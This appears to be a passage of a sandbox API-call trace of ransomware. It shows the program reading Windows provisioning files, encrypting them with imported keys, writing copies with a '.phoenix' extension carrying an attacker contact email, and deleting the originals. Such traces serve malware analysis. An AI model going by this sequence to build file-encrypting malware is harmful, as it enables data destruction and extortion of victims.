	[0253.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\516__connections_cellular_uzdunrobita (uzbekistan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\516__connections_cellular_uzdunrobita (uzbekistan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.452] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\516__connections_cellular_uzdunrobita (uzbekistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0253.452] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.452] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.452] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\516__connections_cellular_uzdunrobita (uzbekistan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.462] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151380) returned 1
	[0253.462] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.462] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cb, lpOverlapped=0x0) returned 1
	[0253.549] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0253.549] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0253.608] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1515c0) returned 1
	[0253.608] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.608] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0253.608] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0253.608] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0253.608] CryptDestroyKey (hKey=0x151380) returned 1
	[0253.608] CloseHandle (hObject=0x2f0) returned 1
	[0253.608] CloseHandle (hObject=0x2c0) returned 1
	[0253.608] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\516__connections_cellular_uzdunrobita (uzbekistan)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.609] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0253.609] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\520__connections_cellular_vms mobifone (vietnam)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.610] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=707) returned 1
	[0253.610] CloseHandle (hObject=0x2c0) returned 1
	[0253.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\520__connections_cellular_vms mobifone (vietnam)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\520__connections_cellular_vms mobifone (vietnam)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.610] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\520__connections_cellular_vms mobifone (vietnam)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.610] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.610] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.610] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\520__connections_cellular_vms mobifone (vietnam)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0253.611] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151380) returned 1
	[0253.611] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.612] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c3, lpOverlapped=0x0) returned 1
	[0253.623] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0253.623] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0253.624] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1515c0) returned 1
	[0253.624] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.624] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0253.624] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0253.624] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0253.625] CryptDestroyKey (hKey=0x151380) returned 1
	[0253.625] CloseHandle (hObject=0x2c0) returned 1
	[0253.625] CloseHandle (hObject=0x2f0) returned 1
	[0253.625] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\520__connections_cellular_vms mobifone (vietnam)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.626] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0253.626] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\522__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0253.627] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=461) returned 1
	[0253.627] CloseHandle (hObject=0x2f0) returned 1
	[0253.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\522__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0253.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\522__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.627] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\522__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0253.627] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.627] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.627] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\522__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.628] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151080) returned 1
	[0253.628] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.628] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1cd, lpOverlapped=0x0) returned 1
	[0253.632] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0253.632] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0253.633] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1514c0) returned 1
	[0253.633] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.633] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0253.634] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0253.634] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0253.634] CryptDestroyKey (hKey=0x151080) returned 1
	[0253.634] CloseHandle (hObject=0x2f0) returned 1
	[0253.634] CloseHandle (hObject=0x2c0) returned 1
	[0253.634] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\522__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0253.635] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0253.635] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\523__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0253.646] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=480) returned 1
	[0253.647] CloseHandle (hObject=0x2d4) returned 1
	[0253.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\523__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0253.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\523__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.647] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\523__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0253.647] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.647] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.647] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\523__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0253.650] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0253.650] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.650] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1e0, lpOverlapped=0x0) returned 1
	[0253.651] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0) returned 1
	[0253.651] WriteFile (in: hFile=0x2b0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1f0, lpOverlapped=0x0) returned 1
	[0253.652] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151100) returned 1
	[0253.652] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.652] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0253.652] CryptDestroyKey (hKey=0x151100) returned 1
	[0253.652] WriteFile (in: hFile=0x2b0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0253.652] CryptDestroyKey (hKey=0x151400) returned 1
	[0253.652] CloseHandle (hObject=0x2d4) returned 1
	[0253.652] CloseHandle (hObject=0x2b0) returned 1
	[0253.653] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\523__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0253.656] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0253.656] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\525__connections_cellular_idea (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0253.656] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=706) returned 1
	[0253.656] CloseHandle (hObject=0x2d4) returned 1
	[0253.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\525__connections_cellular_idea (india)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\525__connections_cellular_idea (india)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.657] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\525__connections_cellular_idea (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0253.657] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.657] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
